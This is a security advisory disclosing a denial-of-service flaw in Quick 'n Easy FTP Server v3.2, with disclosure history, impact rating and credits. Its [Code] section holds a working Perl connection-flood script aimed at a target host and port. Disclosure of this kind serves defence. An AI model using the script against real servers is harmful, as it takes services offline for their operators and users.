[DCA-0007] Quick 'n Easy FTP Server v3.2

[DCA-0007]

[Software]

• Quick 'n Easy FTP Server

[Vendor Product Description]

• Quick 'n Easy FTP Server Professional is a multi threaded FTP
  server for Windows 98/NT/XP and Vista(32 bits) that can be easily
  setup even by inexperienced users.
  New users can be easily created by a wizard which is guiding you step
  by step in the process.
  The server handles all basic FTP commands plus a lot of special FTP
  commands like MDTM, NLST, FEAT, PSWD, XCRC and many more!

[Bug Description]

• Quick 'n Easy FTP Server can't handle multiple/simultaneous
  connections leading to Denial-of-Service

[History]

• Advisory sent to vendor on 06/14/2010.
• No response from vendor
• Public advisory & exploit 08/02/2010.

[Impact]

• Low

[Affected Version]

• Quick 'n Easy FTP Server v3.2
• Prior versions may also be vulnerable

[Code]

#!/usr/bin/perl
use IO::Socket;

    if (@ARGV < 1) {
            usage();
    }

    $ip     = $ARGV[0];
    $port   = $ARGV[1];
    $conn   = $ARGV[2];

    $num    = 0;

    print "[+] Sending request...\n";

    while ( $num <= $conn ) {
            system("echo -n .");
            $s = IO::Socket::INET->new(Proto => "tcp", PeerAddr =>

"$ip", PeerPort => "$port") || die "[-] Connection FAILED!\n";

    close($s);
    $num++;
    }

    print "\n[+] Done!\n";

sub usage() {
print "[-] Usage: <". $0 ."> <host> <port> <num-conn>\n";
print "[-] Example: ". $0 ." 127.0.0.1 21 1200\n";
exit;
}

[Credits]

Rodrigo Escobar (ipax)
Pentester/Researcher Security Team @ DcLabs
http://www.dclabs.com.br

[Greetz]
Crash and all Dclabs members.

–
Rodrigo Escobar (ipax)
Pentester/Researcher Security Team @ DcLabs
http://www.dclabs.com.br